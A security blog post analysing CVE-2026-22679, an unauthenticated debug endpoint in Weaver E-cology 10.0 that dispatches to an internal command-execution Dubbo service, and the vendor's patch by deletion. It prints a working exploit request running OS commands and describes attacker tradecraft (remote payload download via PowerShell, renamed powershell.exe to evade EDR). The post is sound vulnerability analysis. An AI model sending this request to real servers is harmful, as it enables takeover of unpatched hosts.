//nefariousplan

CVE-2026-22679: Weaver E-cology's Endpoint Was Named `debug`. The Patch Is a Deletion.

patterns

cve

proof of concept

Weaver (Fanwei) E-cology 10.0 ships a debug endpoint at POST /papi/esearch/data/devops/dubboApi/debug/method. The URL is the controller's name in the source tree. devops is the package, dubboApi is the namespace, debug is the controller, method is the action. The endpoint reads interfaceName and methodName from a JSON body and dispatches to whatever Dubbo service is registered on the classpath under that name, then invokes the named method with caller-supplied arguments. There is no authentication gate.

Build 20260312 closes CVE-2026-22679. The fix is the deletion of the controller. Build 20260312 ships 2026-03-12. The Shadowserver Foundation observes mass exploitation 2026-03-31. NVD publishes the CVE on 2026-04-07.

The defender's first signal was the breach.

The path is the source-tree location, exposed

A Spring controller's URL prefix is the breadcrumb a developer leaves when they wire @RequestMapping to a class. Production deployments rely on a convention: routes that start with /api, /web, /portal are customer-facing; routes that include devops, internal, debug, admin belong to developer or operator workflows that should not survive deployment-time pruning. The router does not enforce the convention. It serves whatever is registered.

The Weaver path enumerates four developer markers in seven segments:

/papi/esearch/data/devops/dubboApi/debug/method
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                   developer/operator naming

devops is the package. dubboApi is what the package contains, an HTTP wrapper around the internal Dubbo RPC framework. debug is the controller's class name. method is the action that invokes a method by name. Read aloud, the path tells the reader what the code is, where it lives, and what it does. It is the kind of path a developer writes during an integration sprint, behind an if (devMode) check that gets removed when the sprint ends. The Weaver path was the one nobody removed.

The endpoint is reachable on every Weaver E-cology 10.0 build prior to 20260312. The convention that production deployments would strip debug controllers from the route table was held by no one in particular. Each customer's deployment served the developer's source-tree map directly to the public internet.

interfaceName and methodName are a dispatch table

The endpoint's request body is a Dubbo generic-invocation envelope:

POST /papi/esearch/data/devops/dubboApi/debug/method HTTP/1.1
Host: target.example.com
Content-Type: application/json

{
  "interfaceName": "com.weaver.rpc.InvokeCommand",
  "methodName": "executeCommand",
  "parameters": ["id", "whoami"]
}

interfaceName is the string identifier of a Dubbo service. Apache Dubbo's GenericService.$invoke(method, parameterTypes, arguments) API exists so that callers without the service's interface JAR on their classpath can still call it. The proxy is looked up by the service's fully-qualified name, the method by its string name, and the arguments by an Object[] that Dubbo deserializes into the parameters' declared types at call time.

The Weaver controller takes the network request and walks straight to that API. The proxy lookup succeeds for any service registered in the Dubbo registry the Weaver runtime exposes to itself. The method invocation succeeds for any method name on the proxy's interface. The parameters get deserialized as whatever the called method's signature says.

com.weaver.rpc.InvokeCommand is the Dubbo service whose entire purpose is OS-command execution. executeCommand takes a list of strings and runs them as a process. The service exists because something in Weaver's internal architecture, a scheduler, a deployment helper, a backup runner, needs to execute commands on cluster nodes through the same RPC fabric it uses for everything else. Inside the cluster, behind the framework's authentication, it is a load-bearing utility.

The debug endpoint took that utility and wrapped it in an HTTP route that does not authenticate. The $invoke primitive does not check whether the caller has the right to call the service; it never had to, because Dubbo's authentication is done at the transport layer for cluster traffic, not per-call. The HTTP wrapper imported the primitive without importing the assumption about who would be calling.

Vega's in-wild traffic analysis names the canonical RCE payload: interfaceName: "com.weaver.rpc.InvokeCommand", methodName: "executeCommand". The processes execute as children of the Tomcat JVM, which on most Weaver deployments runs with the privileges of the service account the operator pointed the installer at. Where that account is SYSTEM or root, the RCE is host root.

Build 20260312 is a deletion

The patched build does not add an authentication check to the controller. It does not add an allowlist of permitted interfaceName values. It does not validate that the resolved Dubbo service implements an interface marked safe-for-debug. The patch is the removal of the controller.

The PoC repository's own README names the patch method correctly:

Patch Method: Complete removal of vulnerable endpoint

Vendors usually patch by adding gates. A capability check, an input validator, a method allowlist, a token requirement. Each of those is a sentence the vendor is willing to write that says "this endpoint should exist, but only for callers who satisfy X." The Weaver patch is the vendor declining to write that sentence. There was no production case in which an unauthenticated network caller should reach GenericService.$invoke. There was no internal case either; the legitimate callers of InvokeCommand are inside the Dubbo cluster on the cluster transport, not on the customer-facing HTTP listener. The endpoint had no production caller to preserve.

The deletion is the admission. Adding an auth check would have been an admission that the endpoint was correct and merely under-gated. Removing it is an admission that the endpoint was wrong, that wrapping a generic Dubbo invoker in an HTTP route was a developer-time shortcut that a deployment review should have caught and didn't. Build 20260312 is what that review's output looks like, several major-version cycles late.

The disclosure ran in reverse

The Weaver security download page at weaver.com.cn/cs/securityDownload.html lists build 20260312 alongside other security updates. The page does not associate the build with a CVE. It does not name the affected endpoint. It does not describe a pre-authentication remote code execution. A customer reading the changelog on March 13 would have seen a security build available; they would not have seen a reason to treat it as urgent.

Date Event
2026-03-12 Build 20260312 ships. Vendor's security download page lists it. No CVE association.
2026-03-31 The Shadowserver Foundation observes the first in-wild exploitation. The interval since patch is nineteen days.
2026-04-07 NVD publishes CVE-2026-22679. The advisory cites Shadowserver's date as the first observation.
2026-04-16 A detector PoC, keraattin/CVE-2026-22679, is published on GitHub.

The shape is disclosure-after-exploitation, the same pattern that produced FortiManager's get-auth bypass and the recurring Ivanti subscription on edge appliances. The vendor patches without naming the bug. Attackers find the patch by diffing the build, weaponize it, and run it against the unpatched fleet. Incident responders notice a pattern. The CVE arrives last.

The customer-visible interval from "build available" to "CVE published" was twenty-six days. The customer-visible interval from "build available" to "Shadowserver sees mass exploitation" was nineteen. Customers running unpatched 10.0 in those nineteen days had no notification model that read "the build that's running on your servers right now is being scanned and exploited at scale." They had a notification model that read "build 20260312 is available."

The kit was built for one product

Vega's analysis enumerates the post-exploitation toolkit:

  • Goby scanner ping callbacks for reachability verification. The pattern is ping -n 1 http://152.32.173[.]138/<unique-marker>, with the marker correlating responses back to a target list.
  • PowerShell DownloadString to retrieve vsgbt.exe and hjchhb.exe from operator-controlled infrastructure.
  • An MSI dropper named fanwei0324.msi. fanwei is the romanization of 泛微, Weaver's Chinese brand. 0324 is March 24, six days before Shadowserver's first observation. The filename ties the kit to this product and dates its assembly to within a week of the in-wild start.
  • Renamed powershell.exe delivered as 2.txt. The rename defeats EDR rules that key on powershell.exe in process-creation telemetry, a common shape for endpoint detection of the LOLBin pattern.

The convention that "internal-only" features are defended by the convention that nobody outside the team would call them is the same convention this blog has documented in Nginx-UI's /api/restore clock-gate and in cPanel's session-file bus. The Weaver case is at the URL-path level: a controller named debug in a package named devops that nobody on the deployment side removed before shipping. Internal-only-by-convention at the endpoint, with a Dubbo generic-invocation primitive on the other side of it.

The kit's MSI carries the vendor's brand in its filename. The operator who assembled it knew exactly which product they were targeting and dated the build to the day they finished it.

What the deletion did not close

Build 20260312 closes the HTTP-reachable path to GenericService.$invoke. It does not close the primitive. The Dubbo RPC fabric inside Weaver's cluster still exposes com.weaver.rpc.InvokeCommand to internal callers, because internal callers are exactly who the service was written for. A second debug controller, in a different package, with a different action name, would re-expose it. The deletion is local to the one route the vendor identified.

The customer's mitigation surface is the patch level. The vendor's technical-debt surface is every other developer artifact in the source tree that reaches the Dubbo registry without authentication, on any HTTP route, in any 10.0 successor build. The path naming convention that produced /papi/esearch/data/devops/dubboApi/debug/method is not a one-off. It is what the source tree looks like.

PoC: keraattin/CVE-2026-22679

The patch is the deletion of an endpoint named debug. There was no production caller to preserve.